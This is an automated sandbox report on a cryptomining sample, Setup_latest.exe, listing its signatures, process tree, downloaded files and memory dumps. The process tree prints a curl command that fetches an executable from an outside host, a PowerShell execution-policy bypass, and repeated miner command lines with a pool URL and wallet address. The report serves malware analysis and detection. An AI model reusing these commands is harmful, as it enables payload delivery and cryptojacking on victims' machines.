Analysis

  • max time kernel
    300s
  • max time network
    298s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/10/2026, 23:03

General

  • Target
    Setup_latest.exe
  • Size 16.8MB
  • Sample261031-216jysaf63
  • SHA256 43db1c8b806fcecdd4b752e8d093ff9c16c7ed7ee6333ff76807f2fe6c4c3ed4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 20 IoCs
  • XMRig Miner payload 3 IoCs
  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 23 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Drops file in Program Files directory 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\explorer.exe
    explorer.exe /LOADSAVEDWINDOWS
    1⤵
    • Drops file in Program Files directory
    • Modifies registry class
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5408
    • C:\Users\Admin\AppData\Local\Temp\Setup_latest.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup_latest.exe"
      2⤵
      • Drops file in Program Files directory
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:2260
    • C:\Windows\SYSTEM32\curl.exe
      curl.exe -fs -o "C:\Users\Admin\AppData\Local\Temp\0e5921c70.exe" "https://cloudflare.gd/pyservice64.exe"
      2⤵
      • Downloads MZ/PE file
      PID:4620
    • C:\Users\Admin\AppData\Local\Temp\0e5921c70.exe
      "C:\Users\Admin\AppData\Local\Temp\0e5921c70.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:5052
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$script = [ScriptBlock]::Create(($input | Out-String)); & $script .\def.ps1 C:\\"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:700
      • C:\Users\Admin\AppData\Roaming\Microsoft\CLR_v4\Runtime\Runtime\appservice9411_2e8c.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\CLR_v4\Runtime\Runtime\appservice9411_2e8c.exe"
        3⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3024
    • C:\wildrig.exe
      "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:1068
    • C:\wildrig.exe
      "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:3264
    • C:\wildrig.exe
      "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:2420
    • C:\wildrig.exe
      "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
      2⤵
      • Executes dropped EXE
      PID:4532
    • C:\wildrig.exe
      "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
      2⤵
      • Executes dropped EXE
      PID:1364
    • C:\wildrig.exe
      "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
      2⤵
      • Executes dropped EXE
      PID:2608
    • C:\wildrig.exe
      "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
      2⤵
      • Executes dropped EXE
      PID:2352
    • C:\wildrig.exe
      "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
      2⤵
      • Executes dropped EXE
      PID:432
    • C:\wildrig.exe
      "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
      2⤵
      • Executes dropped EXE
      PID:5004
    • C:\wildrig.exe
      "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
      2⤵
      • Executes dropped EXE
      PID:5292
    • C:\wildrig.exe
      "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
      2⤵
      • Executes dropped EXE
      PID:2384
    • C:\wildrig.exe
      "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
      2⤵
      • Executes dropped EXE
      PID:2552
    • C:\wildrig.exe
      "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
      2⤵
      • Executes dropped EXE
      PID:472
    • C:\wildrig.exe
      "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
      2⤵
      • Executes dropped EXE
      PID:5864
    • C:\wildrig.exe
      "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
      2⤵
      • Executes dropped EXE
      PID:596
    • C:\wildrig.exe
      "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
      2⤵
      • Executes dropped EXE
      PID:1208
    • C:\wildrig.exe
      "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
      2⤵
      • Executes dropped EXE
      PID:1852
    • C:\wildrig.exe
      "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
      2⤵
      • Executes dropped EXE
      PID:2528
    • C:\wildrig.exe
      "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
      2⤵
      • Executes dropped EXE
      PID:2420
    • C:\wildrig.exe
      "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
      2⤵
      • Executes dropped EXE
      PID:4368
  • C:\Users\Admin\AppData\Roaming\Microsoft\CLR_v4\Runtime\0e5921c70.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\CLR_v4\Runtime\0e5921c70.exe
    1⤵
    • Executes dropped EXE
    PID:1128

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        0e5921c70.exe

        • Path C:\Users\Admin\AppData\Local\Temp\0e5921c70.exe
        • Size 47.3MB
        • SHA256 ba4ee6ce0b34b33d2b9494f45ef059e7360dcf783240674ca06a61e352667908
        • MD5 SHA1 SHA512 SSDEEP TLSH

        wildrig.exe

        • Path C:\wildrig.exe
        • Size 1.7MB
        • SHA256 f5fe5665e7303f95c9da704a8a0aafe5c14b1b3c2757378b9f374d16dfcba34e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        wildrig.exe

        • Path C:\wildrig.exe
        • Size 42.5MB
        • SHA256 1fae6f3af9bcbb27b352bffb0a0e8912f6b7515126bf357c302be7cf52f712d5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/432-135-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

        memory/432-136-0x00007FF7CDC10000-0x00007FF7CEC10000-memory.dmp

        memory/700-46-0x0000022367480000-0x00000223674A2000-memory.dmp

        memory/1068-62-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

        memory/1068-63-0x00007FF6D35E0000-0x00007FF6D45E0000-memory.dmp

        memory/1364-104-0x00007FF649FD0000-0x00007FF64AFD0000-memory.dmp

        memory/1364-103-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

        memory/2352-125-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

        memory/2352-126-0x00007FF7ADEE0000-0x00007FF7AEEE0000-memory.dmp

        memory/2384-166-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

        memory/2384-167-0x00007FF6BF590000-0x00007FF6C0590000-memory.dmp

        memory/2420-83-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

        memory/2420-84-0x00007FF69B970000-0x00007FF69C970000-memory.dmp

        memory/2552-177-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

        memory/2608-116-0x00007FF76F030000-0x00007FF770030000-memory.dmp

        memory/2608-115-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

        memory/3024-102-0x00007FF726110000-0x00007FF72938D000-memory.dmp

        memory/3024-124-0x00007FF726110000-0x00007FF72938D000-memory.dmp

        memory/3024-61-0x00007FF726110000-0x00007FF72938D000-memory.dmp

        memory/3264-73-0x00007FF7B9980000-0x00007FF7BA980000-memory.dmp

        memory/3264-72-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

        memory/4532-94-0x00007FF6E8A00000-0x00007FF6E9A00000-memory.dmp

        memory/4532-93-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

        memory/5004-146-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

        memory/5004-148-0x00007FF781140000-0x00007FF782140000-memory.dmp

        memory/5292-156-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

        memory/5292-157-0x00007FF703220000-0x00007FF704220000-memory.dmp

        memory/5408-27-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-25-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-14-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-13-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-11-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-10-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-38-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-16-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-42-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-17-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-49-0x0000000003230000-0x0000000003231000-memory.dmp

        memory/5408-18-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-19-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-20-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-21-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-22-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-23-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-24-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-37-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-15-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-26-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-36-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-4-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-35-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-28-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-30-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-31-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-32-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-33-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-34-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-8-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-9-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-7-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-2-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-3-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-0-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-1-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-5-0x0000000003890000-0x000000000393D000-memory.dmp

        memory/5408-6-0x0000000003890000-0x000000000393D000-memory.dmp